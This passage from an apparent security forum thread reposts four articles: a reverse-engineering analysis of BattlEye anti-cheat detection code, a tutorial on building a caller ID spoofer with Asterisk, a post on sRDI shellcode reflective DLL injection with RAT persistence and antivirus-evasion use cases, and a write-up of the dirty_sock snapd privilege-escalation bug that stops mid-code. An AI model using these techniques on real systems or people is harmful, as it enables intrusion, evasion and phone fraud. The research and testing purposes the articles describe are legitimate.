module_entry.modBaseAddr + 0x48338, vgui_buffer, 8, 0) >= 0; constexpr auto pattern_offset = 0x48378; // IF READ DID NOT FAIL AND PATTERN IS FOUND if (could_read && equals(vgui_buffer, "\6A\04\6A\00\6A\02\6A")) { vgui_report.unknown_1 = 0; vgui_report.report_id = 0x3B; vgui_report.unknown_2 = 0; vgui_report.address = LODWORD(module_entry.modBaseAddr) + pattern_offset; // READ TARGET BUFFER INTO REPORT NtReadVirtualMemory( process_handle, module_entry.modBaseAddr + pattern_offset, vgui_report.buffer, sizeof(vgui_report.buffer), 0); battleye::report(&vgui_report, sizeof(vgui_report), 0); } } else if ( // READ ADDRESS FROM CODE NtReadVirtualMemory(process_handle, *(int*)&vgui_buffer[9], vgui_buffer, 4, 0) >= 0 && // READ POINTER TO CLASS NtReadVirtualMemory(process_handle, *(int*)vgui_buffer, vgui_buffer, 4, 0) >= 0 && // READ POINTER TO VIRTUAL TABLE NtReadVirtualMemory(process_handle, *(int*)vgui_buffer, vgui_buffer, sizeof(vgui_buffer), 0) >= 0) { for (vtable_index = 0; vtable_index < 984; vtable_index += 4 ) // 984/4 VTABLE ENTRY COUNT { NtReadVirtualMemory(process_handle, *(int*)&vgui_buffer[vtable_index], &vtable_entry, sizeof(vtable_entry), 0); if (*(int*)&vgui_buffer[vtable_index] < module_entry.modBaseAddr || *(int*)&vgui_buffer[vtable_index] >= module_entry.modBaseAddr + module_entry.modBaseSize || vtable_entry == 0xCC ) { vgui_vtable_report.unknown = 0; vgui_vtable_report.report_id = 0x3B; vgui_vtable_report.vtable_index = vtable_index; vgui_vtable_report.address = *(int*)&vgui_buffer[vtable_index]; battleye::report(&vgui_vtable_report, sizeof(vgui_vtable_report), 0); } } } } The previous routine checks for a modification at 48378, which is a location in the code section: push 04 push offset aCBuildslaveSte_4 ; "c:\\buildslave\\steam_rel_client_win32"... push offset aAssertionFaile_7 ; "Assertion Failed: IsValidIndex(elem)" The routine then checks for a very specific and seemingly garbage modification: push 04 push 00 push 02 push ?? We were unable to obtain a copy of vgui2_s.dll that did not match the first of the two aforementioned checks, so we can’t discuss which vtable it is checking. Steam Game Overlay threads Threads in the steam game overlay process are also enumerated: void gameoverlay::check_thread(THREADENTRY32 thread_entry) { const auto tread_handle = OpenThread(THREAD_SUSPEND_RESUME|THREAD_GET_CONTEXT, 0, thread_entry.th32ThreadID); if (thread_handle) { suspend_count = ResumeThread(thread_handle); if (suspend_count > 0) { SuspendThread(thread_handle); gameoverlay_thread_report.unknown = 0; gameoverlay_thread_report.report_id = 0x3B; gameoverlay_thread_report.suspend_count = suspend_count; battleye::report(&gameoverlay_thread_report, sizeof(gameoverlay_thread_report), 0); } if (GetThreadContext(thread_handle, &context) && context.Dr7) { gameoverlay_debug_report.unknown = 0; gameoverlay_debug_report.report_id = 0x3B; gameoverlay_debug_report.debug_register = context.Dr0; battleye::report(&gameoverlay_debug_report, sizeof(gameoverlay_debug_report), 0); } } } LSASS The memory address space of the windows process lsass.exe, also known as the Local Security Authority process, is enumerated and any anomalies will be reported to the server, just like we’ve seen in the two previous checks: if (equals(process_entry.executable_path, "lsass.exe")) { auto lsass_handle = OpenProcess(QueryInformation, 0, (unsigned int)process_entry.th32ProcessID); if (lsass_handle) { for (address = 0; NtQueryVirtualMemory(lsass_handle, address, 0, &lsass_memory_info, 0x30, &bytes_needed) >= 0; address = lsass_memory_info.base_address + lsass_memory_info.region_size) { if (lsass_memory_info.state == MEM_COMMIT && lsass_memory_info.type == MEM_PRIVATE && (lsass_memory_info.protect == PAGE_EXECUTE || lsass_memory_info.protect == PAGE_EXECUTE_READ || lsass_memory_info.protect == PAGE_EXECUTE_READWRITE)) { // FOUND EXECUTABLE MEMORY OUTSIDE OF MODULES lsass_report.unknown = 0; lsass_report.report_id = 0x42; lsass_report.base_address = lsass_memory_info.base_address; lsass_report.region_size = lsass_memory_info.region_size; lsass_report.memory_info = lsass_memory_info.type | lsass_memory_info.protect | lsass_memory_info.state; battleye::report(&lsass_report, sizeof(lsass_report), 0); } } CloseHandle(lsass_handle); } } LSASS has previously been exploited to perform memory operations, as any process that would like an internet connection needs to let LSASS have access to it. BattlEye has currently mitigated this issue by manually stripping the process handle of read/write access and then hooking ReadProcessMemory/WriteProcessMemory, redirecting the calls to their driver, BEDaisy. BEDaisy then decides whether or not the memory operation is a legit operation. If it determines that the operation is legitimate, it will continue it, else, they will deliberately blue-screen the machine. Misc. report BattlEye gathers miscellaneous information and sends it back to the server with the report id 3C. This information consists of: Any window with WS_EX_TOPMOST flag or equivalent alternatives: Window text (Unicode) Window class name (Unicode) Window style Window extended style Window rectangle Owner process image path Owner process image size Any process with an open process handle (VM_WRITE|VM_READ) to the game Image name Image path Image size Handle access File size of game specific files: ....\Content\Paks\TslGame-WindowsNoEditor_assets_world.pak ....\Content\Paks\TslGame-WindowsNoEditor_ui.pak ....\Content\Paks\TslGame-WindowsNoEditor_sound.pak Contents of game specific files: ....\BLGame\CookedContent\Script\BLGame.u Detour information of NtGetContextThread Any jump instructions (E9) are followed and the final address get’s logged NoEye BattlEye has implemented a specific and rather lazy check to detect the presence of the public bypass known as NoEye, by checking the file size of any file found by GetFileAttributesExA with the name of BE_DLL.dll, suggesting the library file can be found on disk. void noeye::detect() { WIN32_FILE_ATTRIBUTE_DATA file_information; if (GetFileAttributesExA("BE_DLL.dll", 0, &file_information)) { noeye_report.unknown = 0; noeye_report.report_id = 0x3D; noeye_report.file_size = file_information.nFileSizeLow; battleye::report(&noeye_report, sizeof(noeye_report), 0); } } Driver presence The devices Beep and Null are checked, and reported if present. These two are not normally available on any system, which would indicate someone manually enabled a device, also known as driver device hijacking. This is done to enable IOCTL communication with a malicious driver without requiring an independent driver object for said driver. void driver::check_beep() { auto handle = CreateFileA("\\\\.\\Beep", GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0); if (handle != INVALID_HANDLE_VALUE) { beep_report.unknown = 0; beep_report.report_id = 0x3E; battleye::report(&beep_report, sizeof(beep_report), 0); CloseHandle(handle); } } void driver::check_null() { auto handle = CreateFileA("\\\\.\\Null", GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0); if (handle != INVALID_HANDLE_VALUE) { null_report.unknown = 0; null_report.report_id = 0x3E; battleye::report(&null_report, sizeof(null_report), 0); CloseHandle(handle); } } Sleep delta BattlEye will also queue the current thread for a one second sleep and measure the difference in tickcount from before and after the sleep: void sleep::check_delta() { const auto tick_count = GetTickCount(); Sleep(1000); const auto tick_delta = GetTickCount() - tick_count; if (tick_delta >= 1200) { sleep_report.unknown = 0; sleep_report.report_id = 0x45; sleep_report.delta = tick_delta; battleye::report(&sleep_report, sizeof(sleep_report), 0); } } 7zip BattlEye has added a very lazy integrity check to prevent people loading the 7zip library into game processes and overwriting the sections. This was done to mitigate the previous pattern scans and anomaly detections, and battleye decided to only add integrity checks for this sepcific 7zip library. void module::check_7zip() { constexpr auto sz_7zipdll = "..\\..\\Plugins\\ZipUtility\\ThirdParty\\7zpp\\dll\\Win64\\7z.dll"; const auto module_handle = GetModuleHandleA(sz_7zipdll); if (module_handle && *(int*)(module_handle + 0x1000) != 0xFF1441C7) { sevenzip_report.unknown_1 = 0; sevenzip_report.report_id = 0x46; sevenzip_report.unknown_2 = 0; sevenzip_report.data1 = *(__int64*)(module_handle + 0x1000); sevenzip_report.data2 = *(__int64*)(module_handle + 0x1008); battleye::report(&sevenzip_report, sizeof(sevenzip_report), 0); } } Hardware abstraction layer Battleye checks the presence of the windows hardware abstraction layer dynamic link library (hal.dll), and reports to server if it is loaded inside of the game process. void module::check_hal() { const auto module_handle = GetModuleHandleA("hal.dll"); if (module_handle) { hal_report.unknown_1 = 0; hal_report.report_id = 0x46; hal_report.unknown_2 = 2; hal_report.data1 = *(__int64*)(module_handle + 0x1000); hal_report.data2 = *(__int64*)(module_handle + 0x1008); battleye::report(&hal_report, sizeof(hal_report), 0); } } Image checks BattlEye also checks for various images loaded into the game process. These modules are presumably signed images that are somehow manipulated into abusive behaviour, but we can’t comment on the full extent of these modules, only the detections: nvToolsExt64_1 void module::check_nvtoolsext64_1 { const auto module_handle = GetModuleHandleA("nvToolsExt64_1.dll"); if (module_handle) { nvtools_report.unknown = 0; nvtools_report.report_id = 0x48; nvtools_report.module_id = 0x5A8; nvtools_report.size_of_image = (PE_HEADER*)(module_handle + (DOS_HEADER*)(module_handle)->e_lfanew))->SizeOfImage; battleye::report(&nvtools_report, sizeof(nvtools_report), 0); } } ws2detour_x96 void module::check_ws2detour_x96 { const auto module_handle = GetModuleHandleA("ws2detour_x96.dll"); if (module_handle) { ws2detour_report.unknown = 0; ws2detour_report.report_id = 0x48; ws2detour_report.module_id = 0x5B5; ws2detour_report.size_of_image = (PE_HEADER*)(module_handle + (DOS_HEADER*)(module_handle)->e_lfanew))->SizeOfImage; battleye::report(&ws2detour_report, sizeof(ws2detour_report), 0); } } networkdllx64 void module::check_networkdllx64 { const auto module_handle = GetModuleHandleA("networkdllx64.dll"); if (module_handle) { const auto dos_header = (DOS_HEADER*)module_handle; const auto pe_header = (PE_HEADER*)(module_handle + dos_header->e_lfanew)); const auto size_of_image = pe_header->SizeOfImage; if (size_of_image < 0x200000 || size_of_image >= 0x400000) { if (pe_header->sections[DEBUG_DIRECTORY].size == 0x1B20) { networkdll64_report.unknown = 0; networkdll64_report.report_id = 0x48; networkdll64_report.module_id = 0x5B7; networkdll64_report.data = pe_header->TimeDatestamp; battleye::report(&networkdll64_report, sizeof(networkdll64_report), 0); } } else { networkdll64_report.unknown = 0; networkdll64_report.report_id = 0x48; networkdll64_report.module_id = 0x5B7; networkdll64_report.data = pe_header->sections[DEBUG_DIRECTORY].size; battleye::report(&networkdll64_report, sizeof(networkdll64_report), 0); } } } nxdetours_64 void module::check_nxdetours_64 { const auto module_handle = GetModuleHandleA("nxdetours_64.dll"); if (module_handle) { nxdetours64_report.unknown = 0; nxdetours64_report.report_id = 0x48; nxdetours64_report.module_id = 0x5B8; nxdetours64_report.size_of_image = (PE_HEADER*)(module_handle + (DOS_HEADER*)(module_handle)->e_lfanew))->SizeOfImage; battleye::report(&nxdetours64_report, sizeof(nxdetours64_report), 0); } } nvcompiler void module::check_nvcompiler { const auto module_handle = GetModuleHandleA("nvcompiler.dll"); if (module_handle) { nvcompiler_report.unknown = 0; nvcompiler_report.report_id = 0x48; nvcompiler_report.module_id = 0x5BC; nvcompiler_report.data = *(int*)(module_handle + 0x1000); battleye::report(&nvcompiler_report, sizeof(nvcompiler_report), 0); } } wmp void module::check_wmp { const auto module_handle = GetModuleHandleA("wmp.dll"); if (module_handle) { wmp_report.unknown = 0; wmp_report.report_id = 0x48; wmp_report.module_id = 0x5BE; wmp_report.data = *(int*)(module_handle + 0x1000); battleye::report(&wmp_report, sizeof(wmp_report), 0); } } Module id enumeration For reference, here are the enumerative ids for the modules: enum module_id { nvtoolsext64 = 0x5A8, ws2detour_x96 = 0x5B5, networkdll64 = 0x5B7, nxdetours_64 = 0x5B8, nvcompiler = 0x5BC, wmp = 0x5BE }; TCP table scan The BattlEye shellcode will also search the system wide list of tcp connections (known as the tcp table), and report you for being connected to at least one of the specific cloudflare-gateway ip addresses belonging to the german pay-to-cheat website https://xera.ph/. This detection mechanism was added to the shellcode to detect any user using their launcher while the game is running, making them easily identifiable. The only problem with this mechanism is that the cloudflare-gateway ip addresses might switch hands later on and if the new owner of the respective ip addresses distribute software connecting to their servers on that specific port, false positives will without a doubt occur. Users of the pay-to-cheat provider xera.ph have been reporting detections for a long time, without the developers being able to mitigate. When we contacted the responsible developers from xera.ph to make them aware of their stupidity, they misread the situtation and handed a free copy to us without thinking twice that we would crack it and release it. We won’t, but you probably shouldn’t send proprietary, licensed binaries for free to reverse engineers without the slightest expectation of piracy. void network::scan_tcp_table { memset(local_port_buffer, 0, sizeof(local_port_buffer)); for (iteration_index = 0; iteration_index < 500; ++iteration_index) { // GET NECESSARY SIZE OF TCP TABLE auto table_size = 0; GetExtendedTcpTable(0, &table_size, false, AF_INET, TCP_TABLE_OWNER_MODULE_ALL, 0); // ALLOCATE BUFFER OF PROPER SIZE FOR TCP TABLE auto allocated_ip_table = (MIB_TCPTABLE_OWNER_MODULE*)malloc(table_size); if (GetExtendedTcpTable(allocated_ip_table, &table_size, false, AF_INET, TCP_TABLE_OWNER_MODULE_ALL, 0) != NO_ERROR) goto cleanup; for (entry_index = 0; entry_index < allocated_ip_table->dwNumEntries; ++entry_index) { const auto ip_address_match_1 = allocated_ip_table->table[entry_index].dwRemoteAddr == 0x656B1468; // 104.20.107.101 const auto ip_address_match_2 = allocated_ip_table->table[entry_index].dwRemoteAddr == 0x656C1468; // 104.20.108.101 const auto port_match = allocated_ip_table->table[entry_index].dwRemotePort == 20480; if ( (!ip_address_match_1 && !ip_address_match_2) || !port_match) continue; for (port_index = 0; port_index < 10 && allocated_ip_table->table[entry_index].dwLocalPort != local_port_buffer[port_index]; ++port_index) { if (local_port_buffer[port_index]) continue; tcp_table_report.unknown = 0; tcp_table_report.report_id = 0x48; tcp_table_report.module_id = 0x5B9; tcp_table_report.data = BYTE1(allocated_ip_table->table[entry_index].dwLocalPort) | (LOBYTE(allocated_ip_table->table[entry_index.dwLocalPort) << 8); battleye::report(&tcp_table_report, sizeof(tcp_table_report), 0); local_port_buffer[port_index] = allocated_ip_table->table[entry_index].dwLocalPort; break; } } cleanup: // FREE TABLE AND SLEEP free(allocated_ip_table); Sleep(10); } } Report types For reference, here are the known report types from the shellcode: enum BATTLEYE_REPORT_ID { MEMORY_GUARD = 0x21, MEMORY_SUSPICIOUS = 0x2F, WINDOW_TITLE = 0x33, MEMORY = 0x35, PROCESS_ANOMALY = 0x38, DRIVER_BEEP_PRESENCE = 0x3E, DRIVER_NULL_PRESENCE = 0x3F, MISCELLANEOUS_ANOMALY = 0x3B, PROCESS_SUSPICIOUS = 0x40, LSASS_MEMORY = 0x42, SLEEP_ANOMALY = 0x45, MEMORY_MODULE_SPECIFIC = 0x46, GENERIC_ANOMALY = 0x48, MEMORY_MODULE_SPECIFIC2 = 0x5B, } Sursa: https://vmcall.github.io/reversal/2019/02/10/battleye-anticheat.html
-
How to Build Your Own Caller ID Spoofer: Part 1 Jonathan Stines May 24, 2018 5 min read Purpose Organizations with mature security programs often test their own internal awareness programs by performing social engineering campaigns (e.g., telephone pretexting) on their personnel. These may include hiring third-party consulting companies as well as performing internal tests. These tests should strive to be as real-world as possible in order to accurately simulate a malicious actor and learn from employees’ reactions and ascertain the level of risk they pose to the organization. Spoofing telephone numbers is a real-world tactic used by malicious actors as part of phishing campaigns, so it's a helpful capability for internal security teams to have in their arsenals as they defend their organizations against this common threat. In this post, we'll explain how security professionals can build a caller ID spoofer for purposes of simulating attacks and building internal awareness. My Introduction to Asterisk Early in my penetration testing career, I was tasked with performing a wardialing modem hacking gig—the client wanted to test their telephone network for modem-related weaknesses. This was a challenge because not only did I not know anything about modem hacking, but I didn’t know anything about the wide world of telephony. Fortunately, I had about two weeks to figure it out before the job started. So I set to work learning about modem hacking, telephony, and a lot about Asterisk. Most importantly, I learned how to spoof your caller ID when wardialing—which can be used for a lot more than just prank calling your buddies. There are services that can automate this process for you—some even have mobile apps that have other features, such as call recording and voice changing. However, these services can cost upwards of 25 cents per call, which simply isn’t sustainable when we make thousands of calls per year. When we did the wardialing job with our home-grown spoofer, the bill from our SIP service provider was less than $10 for over 2,000 calls. That’s more like it! Additionally, for calls that answered, each averaged 53 seconds in order for Warvox to record and fingerprint devices, such as modems, faxes, or angry security guards. I’m certainly not a PBX or telephony expert, nor do I have a background managing Asterisk, but I am good at hammering on stuff until it seems to work. Hopefully this will help folks in the industry to overcome some of the challenges I’ve faced. So here’s how you can build your own caller ID spoofer. SIP (Session Initiation Protocol) –The de facto standard for VoIP communication, used for initial authentication and negotiations when making connections. RTP (Real-Time Transport Protocol) – Chatty, used to transmit audio after authentication and negotiations. IAX (Inter-Asterisk Exchange) – Legacy, less chatty, must have trunk to convert from IAX to SIP service provider. DISA (Direct Inward System Access) – This is sort of like VPN’ing to your internal system, so you can dial internal extensions. DID (Direct Inward Dialing) – This is the telephone number assigned by your service provider. Analogous to an external IP address, but for telephony. Setting up Asterisk You need to setup your Asterisk server to where it can be accessible—ideally an external IP. However, internally NAT’ed will work if you plan on VPN’ing in and using a softphone or using port forwarding. FreePBX is available as an AWS AMI image, so that’s the route that I took. The specifications can be run in the free tier and Elastic computing will run you approximately $10 a month depending on utilization of the PBX and, if you’re like me, leave it powered on all the time. Once you have your FreePBX VM up and running here’s what you want to do: Open: SIP TCP/UDP 5060 to Service Provider (discussed in next step) RTP UDP 10000-20000 to your public IP address Settings → Asterisk SIP Settings Ensure external Address and Local Networks are accurate Ensure ulaw, alaw, gsm, g726 codec checkboxes are ticked Choosing a Provider and Setting up a Trunk There are many providers out there. When choosing one, I’d say go off the quality of their website. If they have a portal where you can create requests for trunks, DIDs, specify your IP for their firewalling, etc., that’s a bonus. I went with my provider because they supported me with IAX when I was doing wardialing and seemed to have good customer service. Once you’ve chosen your provider, you’ll need to setup your SIP trunk in Asterisk: Connectivity → Trunks → Add Trunk Click Add SIP (chan_sip) Trunk Set your Trunk Name Set Dialed number manipulation rules 1 + NXXNXXXXXX 1NXXNXXXXXX Set your trunk name Set up peer details Set User Context and User Details ‘Host’ and ‘FromDomain’ is provided by the service provider, often under the support section of their website On the service provider’s website, you’ll need to create the SIP trunk and specify your external IP address to allow inbound connection on their side. Here’s an example of what mine looks like: Setting up a SIP Extension In order to dial into your Asterisk, you’ll first need to create some sort of unique identifier for the external DISA to hand off to the internal PBX. With Asterisk, extensions function the same as usernames. Applications → Extensions → Add Extension Select the default, “Generic CHAN SIP Device” Display name is the username and should be numeric (e.g., 4 digits) Outbound CID is the caller ID, customize however you’d like Note: This is how you’d manually set your caller ID. For the time being, it can be arbitrarily set to whatever you’d like as it’ll later be changed through a configuration file. Outbound Concurrency Limit is number of outbound calls that can be made concurrently with that extension. If multiple people will be making calls, you’ll want to make sure this number accommodates everyone. Set a password for the extension, everything else can be kept default. Interacting with Asterisk with Zoiper Now, we’ve created a SIP trunk, configured it with our VoIP service provider, and set up an extension and password. Now we can use a softphone in order to dial out using our Asterisk. You’ll first need to download Linphone softphone. It can be installed on Windows, Mac, and Linux: http://www.linphone.org/ Once you have Linphone installed, open the program and click “Account Assistant”: Next, we’ll click “Use a SIP Account”: Using the extension we previously created, we will then login to Asterisk. If you’ve installed Asterisk on an externally facing VPS you’ll use the IP address. Otherwise, you’ll need to ensure you’ve setup port forwarding to your internal Asterisk server for SIP and RTP. Enter in the username (extension), public IP of your Asterisk, and the password configured for the extension, leaving everything else as default: After clicking “Use”, you’ll be brought back to the Linphone home screen. Click the upper left corner to be presented with your Linphone accounts: You will then select your newly created SIP account we registered with our Asterisk. You can then make calls with the Linphone client using our Asterisk server by entering the destination telephone number in the text box at the top of the program. That is it for Part 1 of the blog series. We have talked about how this project kicked off, how to setup Asterisk, how to configure Asterisk to spoof a source telephone number, and how to use a softphone client in order to interact with your Asterisk server. In the next post, we’ll delve in to creating a customized extension configuration and automation so Caller IDs can be spoofed on the fly. Sursa: https://blog.rapid7.com/2018/05/24/how-to-build-your-own-caller-id-spoofer-part-1/
- 1 reply
-
- 2
-
-
-
sRDI – Shellcode Reflective DLL Injection By Nick LandersAugust 23, 2017 No Comments During our first offering of “Dark Side Ops II – Adversary Simulation” at Black Hat USA 2017, we quietly dropped a piece of our internal toolkit called sRDI. Shortly after, the full project was put on GitHub ( https://github.com/monoxgas/sRDI ) without much explanation. I wanted to write a quick post discussing the details and use-cases behind this new functionality. A Short History Back in ye olde times, if you were exploiting existing code, or staging malicious code into memory, you used shellcode. For those rare few who still have the skill to write programs in assembly, we commend you. As the Windows API grew up and gained popularity, people found sanctuary in DLLs. C code and cross compatibility were very appealing, but what if you wanted your DLL to execute in another process? Well, you could try writing the file to memory and dropping a thread at the top, but that doesn’t work very well on packed PE files. The Windows OS already knows how to load PE files, so people asked nicely and DLL Injection was born. This involves starting a thread in a remote process to call “LoadLibrary()” from the WinAPI. This will read a (malicious) DLL from disk and load it into the target process. So you write some cool malware, save it as a DLL, drop it to disk, and respawn into other processes. Awesome!…well, not really. Anti-virus vendors caught on quick, started flagging more and more file types, and performing heuristic analysis. The disk wasn’t a safe place anymore! Finally in 2009, our malware messiah Stephen Fewer (@stephenfewer) releases Reflective DLL Injection. As demonstrated, LoadLibrary is limited in loading only DLLs from disk. So Mr. Fewer said “Hold my beer, I’ll do it myself”. With a rough copy of LoadLibrary implemented in C, this code could now be included into any DLL project. The process would export a new function called “ReflectiveLoader” from the (malicious) DLL. When injected, the reflective DLL would locate the offset of this function, and drop a thread on it. ReflectiveLoader walks back through memory to locate the beginning of the DLL, then unpacks and remaps everything automatically. When complete, “DLLMain” is called and you have your malware running in memory. Years went by and very little was done to update these techniques. Memory injection was well ahead of it’s time and allowed all the APTs and such to breeze past AV. In 2015, Dan Staples (@_dismantl) released an important update to RDI, called “Improved Reflective DLL Injection“. This aimed to allow an additional function to be called after “DLLMain” and support the passing of user arguments into said additional function. Some shellcode trickery and a bootstrap placed before the call to ReflectiveLoader accomplished just that. RDI is now functioning more and more like the legitimate LoadLibrary. We can now load a DLL, call it’s entry point, and then pass user data to another exported function. By the way, if you aren’t familiar with DLLs or exported functions, I recommend you read Microsoft’s overview. Making shellcode great again Reflective DLL injection is being used heavily by private and public toolsets to maintain that “in-memory” street cred. Why change things? Well… RDI requires that your target DLL and staging code understand RDI. So you need access to the source code on both ends (the injector and injectee), or use tools that already support RDI. RDI requires a lot of code for loading in comparison to shellcode injection. This compromises stealth and makes stagers easier to signature/monitor. RDI is confusing for people who don’t write native code often. Modern APT groups have already implemented more mature memory injection techniques, and our goal is better emulate real-world adversaries. The list isn’t as long as some reasons to change things, but we wanted to write a new version of RDI for simplicity and flexibility. So what did we do? To start, we read through some great research by Matt Graeber (@mattifestation) to convert primitive C code into shellcode. We rewrote the ReflectiveLoader function and converted the entire thing into a big shellcode blob. We now have a basic PE loader as shellcode. We wanted to maintain the advantages of Dan Staples technique, so we modified the bootstrap to hook into our new shellcode ReflectiveLoader. We also added some other tricks like a pop/call to allow the shellcode to get it’s current location in memory and maintain position independence. Once our bootstrap primitives were built, we implemented a conversion process into different languages (C, PowerShell, C#, and Python). This allows us to hook our new shellcode and a DLL together with the bootstrap code in any other tool we needed. Once complete, the blob looks something like this: When execution starts at the top of the bootstrap, the general flow looks like this: Get current location in memory (Bootstrap) Calculate and setup registers (Bootstrap) Pass execution to RDI with the function hash, user data, and location of the target DLL (Bootstrap) Un-pack DLL and remap sections (RDI) Call DLLMain (RDI) Call exported function by hashed name (RDI) – Optional Pass user-data to exported function (RDI) – Optional With that all done, we now have conversion functions that take in arbitrary DLLs, and spit out position independent shellcode. Optionally, you can specify arbitrary data to get passed to an exported function once the DLL is loaded (as Mr. Staples intended). On top of that, if you are performing local injection, the shellcode will return a memory pointer that you can use with GetProcAddressR() to locate additional exported functions and call them. Even with the explanation, the process can seem confusing to most who don’t have experience with the original RDI project, shellcode, or PE files, so I recommend you read existing research and head over to the GitHub repository and dig into the code: https://github.com/monoxgas/sRDI Okay, so what? “You can now convert any DLL to position independent shellcode at any time, on the fly.” This tool is mainly relevant to people who write/customize malware. If you don’t know how to write a DLL, I doubt most of this applies to you. With that said, if you are interested in writing something more than a PowerShell script or Py2Exe executable to perform red-teaming, this is a great place to start. Use case #1 – Stealthy persistence Use server-side Python code (sRDI) to convert a RAT to shellcode Write the shellcode to the registry Setup a scheduled task to execute a basic loader DLL Loader reads shellcode and injects (<20 lines of C code) Pros: Neither your RAT or loader need to understand RDI or be compiled with RDI. The loader can stay small and simple to avoid AV. Use case #2 – Side loading Get your sweet RAT running in memory Write DLL to perform extra functionality Convert the DLL to shellcode (using sRDI) and inject locally Use GetProcAddressR to lookup exported functions Execute additional functionality X-times without reloading DLL Pros: Keep your initial tool more lightweight and add functionality as needed. Load a DLL once and use it just like any other. Use case #3 – Dependencies Read existing legitimate API DLL from disk Convert the DLL to shellcode (using sRDI) and load it into memory Use GetProcAddress to lookup needed functions Pros: Avoid monitoring tools that detect LoadLibrary calls. Access API functions without leaking information. (WinInet, PSApi, TlHelp32, GdiPlus) Conclusion We hope people get good use out of this tool. sRDI been a member of the SBS family for almost 2 years now and we have it integrated into many of our tools. Please make modifications and create pull-requests if you find improvements. We’d love to see people start pushing memory injection to higher levels. With recent AV vendors promising more analytics and protections against techniques like this, we’re confident threat actors have already implemented improvements and alternatives that don’t involve high level languages like PowerShell or JScript. @monoxgas Sursa: https://silentbreaksecurity.com/srdi-shellcode-reflective-dll-injection/
-
- 1
-
-
Privilege Escalation in Ubuntu Linux (dirty_sock exploit) 13 February 2019 • Chris Moberly • 14 min read In January 2019, I discovered a privilege escalation vulnerability in default installations of Ubuntu Linux. This was due to a bug in the snapd API, a default service. Any local user could exploit this vulnerability to obtain immediate root access to the system. Two working exploits are provided in the dirty_sock repository: dirty_sockv1: Uses the ‘create-user’ API to create a local user based on details queried from the Ubuntu SSO. dirty_sockv2: Sideloads a snap that contains an install-hook that generates a new local user. Both are effective on default installations of Ubuntu. Testing was mostly completed on 18.10, but older verions are vulnerable as well. The snapd team’s response to disclosure was swift and appropriate. Working with them directly was incredibly pleasant, and I am very thankful for their hard work and kindness. Really, this type of interaction makes me feel very good about being an Ubuntu user myself. TL;DR snapd serves up a REST API attached to a local UNIX_AF socket. Access control to restricted API functions is accomplished by querying the UID associated with any connections made to that socket. User-controlled socket peer data can be affected to overwrite a UID variable during string parsing in a for-loop. This allows any user to access any API function. With access to the API, there are multiple methods to obtain root. The exploits linked above demonstrate two possibilities. Background - What is Snap? In an attempt to simplify packaging applications on Linux systems, various new competing standards are emerging. Canonical, the makers of Ubuntu Linux, are promoting their “Snap” packages. This is a way to roll all application dependencies into a single binary - similar to Windows applications. The Snap ecosystem includes an “app store” where developers can contribute and maintain ready-to-go packages. Management of locally installed snaps and communication with this online store are partially handled by a systemd service called “snapd”. This service is installed automatically in Ubuntu and runs under the context of the “root” user. Snapd is evolving into a vital component of the Ubuntu OS, particularly in the leaner spins like “Snappy Ubuntu Core” for cloud and IoT. Vulnerability Overview Interesting Linux OS Information The snapd service is described in a systemd service unit file located at /lib/systemd/system/snapd.service. Here are the first few lines: [Unit] Description=Snappy daemon Requires=snapd.socket This leads us to a systemd socket unit file, located at /lib/systemd/system/snapd.socket The following lines provide some interesting information: [Socket] ListenStream=/run/snapd.socket ListenStream=/run/snapd-snap.socket SocketMode=0666 Linux uses a type of UNIX domain socket called “AF_UNIX” which is used to communicate between processes on the same machine. This is in contrast to “AF_INET” and “AF_INET6” sockets, which are used for processes to communicate over a network connection. The lines shown above tell us that two socket files are being created. The ‘0666’ mode is setting the file permissions to read and write for all, which is required to allow any process to connect and communicate with the socket. We can see the filesystem representation of these sockets here: $ ls -aslh /run/snapd* 0 srw-rw-rw- 1 root root 0 Jan 25 03:42 /run/snapd-snap.socket 0 srw-rw-rw- 1 root root 0 Jan 25 03:42 /run/snapd.socket Interesting. We can use the Linux “nc” tool (as long as it is the BSD flavor) to connect to AF_UNIX sockets like these. The following is an example of connecting to one of these sockets and simply hitting enter. $ nc -U /run/snapd.socket HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close 400 Bad Request Even more interesting. One of the first things an attacker will do when compromising a machine is to look for hidden services that are running in the context of root. HTTP servers are prime candidates for exploitation, but they are usually found on network sockets. This is enough information now to know that we have a good target for exploitation - a hidden HTTP service that is likely not widely tested as it is not readily apparent using most automated privilege escalation checks. NOTE: Check out my work-in-progress privilege escalation tool uptux that would identify this as interesting. Vulnerable Code Being an open-source project, we can now move on to static analysis via source code. The developers have put together excellent documentation on this REST API available here. The API function that stands out as highly desirable for exploitation is “POST /v2/create-user”, which is described simply as “Create a local user”. The documentation tells us that this call requires root level access to execute. But how exactly does the daemon determine if the user accessing the API already has root? Reviewing the trail of code brings us to this file (I’ve linked the historically vulnerable version). Let’s look at this line: ucred, err := getUcred(int(f.Fd()), sys.SOL_SOCKET, sys.SO_PEERCRED) This is calling one of golang’s standard libraries to gather user information related to the socket connection. Basically, the AF_UNIX socket family has an option to enable receiving of the credentials of the sending process in ancillary data (see man unix from the Linux command line). This is a fairly rock solid way of determining the permissions of the process accessing the API. Using a golang debugger called delve, we can see exactly what this returns while executing the “nc” command from above. Below is the output from the debugger when we set a breakpoint at this function and then use delve’s “print” command to show what the variable “ucred” currently holds: > github.com/snapcore/snapd/daemon.(*ucrednetListener).Accept() ... 109: ucred, err := getUcred(int(f.Fd()), sys.SOL_SOCKET, sys.SO_PEERCRED) => 110: if err != nil { ... (dlv) print ucred *syscall.Ucred {Pid: 5388, Uid: 1000, Gid: 1000} That looks pretty good. It sees my uid of 1000 and is going to deny me access to the sensitive API functions. Or, at least it would if these variables were called exactly in this state. But they are not. Instead, some additional processing happens in this function, where connection info is added to a new object along with the values discovered above: func (wc *ucrednetConn) RemoteAddr() net.Addr { return &ucrednetAddr{wc.Conn.RemoteAddr(), wc.pid, wc.uid, wc.socket} } …and then a bit more in this one, where all of these values are concatenated into a single string variable: func (wa *ucrednetAddr) String() string { return fmt.Sprintf("pid=%s;uid=%s;socket=%s;%s", wa.pid, wa.uid, wa.socket, wa.Addr) } ..and is finally parsed by this function, where that combined string is broken up again into individual parts: func ucrednetGet(remoteAddr string) (pid uint32, uid uint32, socket string, err error) { ... for _, token := range strings.Split(remoteAddr, ";") { var v uint64 ... } else if strings.HasPrefix(token, "uid=") { if v, err = strconv.ParseUint(token[4:], 10, 32); err == nil { uid = uint32(v) } else { 